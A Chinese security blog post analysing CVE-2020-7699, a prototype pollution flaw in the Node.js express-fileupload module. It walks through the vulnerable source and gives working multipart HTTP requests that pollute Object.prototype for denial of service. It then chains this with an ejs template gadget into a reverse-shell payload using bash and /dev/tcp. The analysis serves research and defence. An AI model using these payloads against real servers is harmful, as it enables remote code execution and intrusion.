freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2020-7699漏洞分析
m1sn0w 2020-08-07 23:57:19 421012

CVE-2020-7699漏洞分析

参考链接:

https://blog.p6.is/Real-World-JS-1/

https://xz.aliyun.com/t/7075#toc-3

一、简介

CVE-2020-7699:NodeJS模块代码注入

该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true

该漏洞可以引发DOS拒绝服务攻击,配合ejs模板引擎,可以达到RCE的目的

二、漏洞源码分析

如果想要复现的话,需要下载低版本的express-fileupload模块

npm i express-fileupload@1.1.7-alpha.4

引起漏洞的源代码:(关键部分)

busboy.on('finish', () => {
  debugLog(options, `Busboy finished parsing request.`);
  if (options.parseNested) {
      req.body = processNested(req.body);
      req.files = processNested(req.files);
  }

  if (!req[waitFlushProperty]) return next();
  Promise.all(req[waitFlushProperty])
      .then(() => {
      delete req[waitFlushProperty];
      next();
  }).catch(err => {
      delete req[waitFlushProperty];
      debugLog(options, `Error while waiting files flush: ${err}`);
      next(err);
  });
});
function processNested(data){
  if (!data || data.length < 1) return {};

  let d = {},
      keys = Object.keys(data);       //获取键名,列表

  for (let i = 0; i < keys.length; i++) {
      let key = keys[i],
          value = data[key],
          current = d,
          keyParts = key
      .replace(new RegExp(/\[/g), '.')
      .replace(new RegExp(/\]/g), '')
      .split('.');

      for (let index = 0; index < keyParts.length; index++){
          let k = keyParts[index];
          if (index >= keyParts.length - 1){
              current[k] = value;
          } else {
              if (!current[k])
                  current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
              current = current[k];
          }
      }
  }

  return d;
};

其实引发原型链污染处就在于这个porcessNested方法,该函数用法:

例如:
传入的参数是:{"a.b.c":"m1sn0w"}
通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } }

其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染
传入参数:{"__proto__.m1sn0w":"m1sn0w"}
然后我们调用console.log(Object.__proto__.m1sn0w)
返回的值为m1sn0w

到这里,就比较清楚,只要调用processNested这个函数,并且如果函数的参数可控,便可达到原型链污染的目的。所以,这里就要介绍该漏洞形成的先决条件,parseNested配置选项要设置为true,例如:

const fileUpload = require('express-fileUpload')
var express = require('express')

app = express()
app.use(fileUpload({ parseNested: true }))

app.get('/',(req,res)=>{
res.end("m1sn0w")
})

观察最上方第一部分代码,如果parseNested参数为true,则调用processNested函数,且参数是req.body或者req.files

req.body是nodejs解析post请求体,req.files获取上传文件的信息

两种方法都可以。这里先使用req.files参数(后面的RCE会使用到req.body)

关于req.files参数,例如:POST请求上传文件

POST / HTTP/1.1

Host: 192.168.0.101:7778

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7778/

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

Content-Length: 336

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"

Content-Type: text/plain



aaa


-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="username"





-----------------------------1546646991721295948201928333--

可以观察到req.files的值为:

{ upload:
{ name: 'm1sn0w.txt',
data: <Buffer 61 61 61 0a>,
size: 4,
encoding: '7bit',
tempFilePath: '',
truncated: false,
mimetype: 'text/plain',
md5:'......'
mv: [Function: mv]
}
}

更改上面的upluod参数为

__proto__.toString
那么结果就会变回:
{
__proto__.toString:{
......
}
}

由于设置了parseNested,会自动调用processNested函数,因此就造成了原型链的污染。

相当于:

{}[__proto__][toString] = { ...... }

当我们再次访问页面时,会返回500的错误(因为toString方法改变了)

三、利用ejs进行RCE

ejs模板引擎存在一个利用原型污染,进行RCE的一个漏洞(这个漏洞暂时还没有修复,可能是因为利用的先决条件是要存在一个原型链污染的点)

先分析一下ejs引发此漏洞的源码:(这里提取出了关键部分)

compile: function () {
  /** @type {string} */
  var src;
  /** @type {ClientFunction} */
  var fn;
  var opts = this.opts;
  var prepended = '';
  var appended = '';
  /** @type {EscapeCallback} */
  var escapeFn = opts.escapeFunction;
  /** @type {FunctionConstructor} */
  var ctor;
 
  if (!this.source) {
    this.generateSource();
    prepended +=
      ' var __output = "";\n' +
      ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
    if (opts.outputFunctionName) {
      prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
    }
    if (opts.destructuredLocals && opts.destructuredLocals.length) {
      var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
      for (var i = 0; i < opts.destructuredLocals.length; i++) {
        var name = opts.destructuredLocals[i];
        if (i > 0) {
          destructuring += ',\n ';
        }
        destructuring += name + ' = __locals.' + name;
      }
      prepended += destructuring + ';\n';
    }
    if (opts._with !== false) {
      prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
      appended += ' }' + '\n';
    }
    appended += ' return __output;' + '\n';
    this.source = prepended + this.source + appended;
  }
}

  src = this.source

  ctor = Function

  fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);

  fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);

可以从下往上进行分析:

  1. 调用了fn方法,如果src参数可控,那么就可以自定义该函数;

  2. src参数的值来源于this.source

  3. 从最上面的方法,this.source = prepended + this.source + appended

其实上面整个函数都是在拼接this.source,最关键的部分在这里:

if (!this.source) {
    this.generateSource();
    prepended +=
      ' var __output = "";\n' +
      ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
    if (opts.outputFunctionName) {
      prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
    }
}

利用的其实是这个:

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

通过全局分析,opts.outputFunctionName最初是并没有赋值的,如果存在原型链污染漏洞的话,我们可以自定义构造这个值,构造payload:

opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x

仔细观察一下,为什么要x;开头x结尾呢?其实是对上面的拼接,构成一个完整的js语句

现在来看一看如何通过上面的原型链污染来利用ejs达到RCE

这里利用的就是req.body而不是req.files

例如,这里构造POST请求:

POST / HTTP/1.1

Host: 192.168.0.101:7778

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7778/

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

Content-Length: 339

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"

Content-Type: text/plain



aaa


-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="username"



123

-----------------------------1546646991721295948201928333--

通过req.body返回的是

{ username : '123' }

我们将上面的username改为

__proto__.outputFunctionName

123的值改为:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

当我们再次发起请求时,便会在指定的主机反弹回来一个shell,从而达到RCE的目的

# web安全
本文为 m1sn0w 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Web安全学习分享
m1sn0w LV.2
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 9 关注者
浅析域内NTLM Relay攻击
2021-12-10
内网常见隧道工具的使用
2021-04-13
Java反序列化漏洞学习:Apache Commons Collections
2020-10-11
文章目录